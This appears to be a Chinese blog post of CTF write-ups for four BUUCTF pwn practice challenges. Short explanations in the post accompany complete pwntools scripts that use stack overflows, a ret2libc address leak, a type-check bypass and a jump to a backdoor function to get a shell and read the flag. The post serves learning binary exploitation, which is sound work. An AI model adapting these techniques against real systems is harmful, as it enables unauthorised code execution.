PWN-PRACTICE-BUUCTF-3

[OGeek2019]babyrop

简单的ret2libc,构造rop
main函数中读取一个随机数到buf中,传入sub_804871F
用"\x00"来绕过strlen和strncmp,buf[7]作为返回值
rop-init
传入sub_804871F返回的buf[7]作为要读取的长度,设置为255,构成栈溢出
rop-leak
最后是ret2libc脚本,一开始用io.sendline()不行,它会自动加一个"\n",在将缓冲区填充满的情况下又加了一个"\n",导致打印不出write_addr,换成io.send()就可以了,它不会自动加"\n"

from pwn import *
#context.log_level="debug"
io=remote('node4.buuoj.cn',29571)
elf=ELF('./pwn')
libc=ELF('./libc-2.23-16-x32.so')
payload="\x00"+"a"*6+p8(255)+"b"*24
io.send(payload)
io.recvuntil('Correct\n')
write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=0x08048825
payload="a"*(231+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.send(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
payload="\x00"+"a"*6+p8(255)+"b"*24
io.send(payload)
io.recvuntil('Correct\n')
payload="a"*(231+4)+p32(system)+p32(0xdeadbeef)+p32(binsh)
io.send(payload)
io.sendline("cat flag")
io.interactive()

ciscn_2019_n_8

main函数中,验证var[13]==0x11是否成立
可以知道var中数组元素都是_DWORD类型的,即双字,四字节,32位
在第13行的if语句中,从var[13]的起始地址开始,读取了一个_QWORD类型的数字,即四字,八字节,64位
ciscn-main
于是可以构造输入为,前13个为32位的数字,后接一个64位的0x11,即可验证通过,执行系统调用

from pwn import *
#context.log_level="debug"
io=remote('node4.buuoj.cn',28433)
io.recvuntil("What's your name?\n")
payload=p32(0)*13+p64(0x11)
io.sendline(payload)
io.sendline("cat flag")
io.interactive()

get_started_3dsctf_2016

静态编译的elf
main函数中存在栈溢出,覆盖eip到后门函数get_flag
构造payload的时候,发现main函数是用esp寻址的,不用覆盖ebp,填充完缓冲区后直接覆盖eip
后面的返回地址不能随便填,找到一个exit函数,填exit的地址
最后再带上get_flag函数中要验证的两个参数

from pwn import *
#context.log_level="debug"
io=remote('node4.buuoj.cn',28168)
get_flag=0x080489A0
exit=0x0804E6A0
payload="a"*56+p32(get_flag)+p32(exit)+p32(0x308CD64F)+p32(0x195719D1)
io.sendline(payload)
io.interactive()

jarvisoj_level2

简单的栈溢出,ret2syscall
可执行文件留有system,还给了hint,即"/bin/sh"
利用栈溢出,覆盖eip到system,带上参数hint,即可getshell

from pwn import *
io=remote('node4.buuoj.cn',26226)
elf=ELF('./level2')
io.recvuntil("Input:\n")
hint=elf.sym['hint']
system=elf.plt['system']
main_addr=0x08048480
payload="a"*(136+4)+p32(system)+p32(main_addr)+p32(hint)
io.sendline(payload)
io.sendline("cat flag")
io.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

P1umH0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值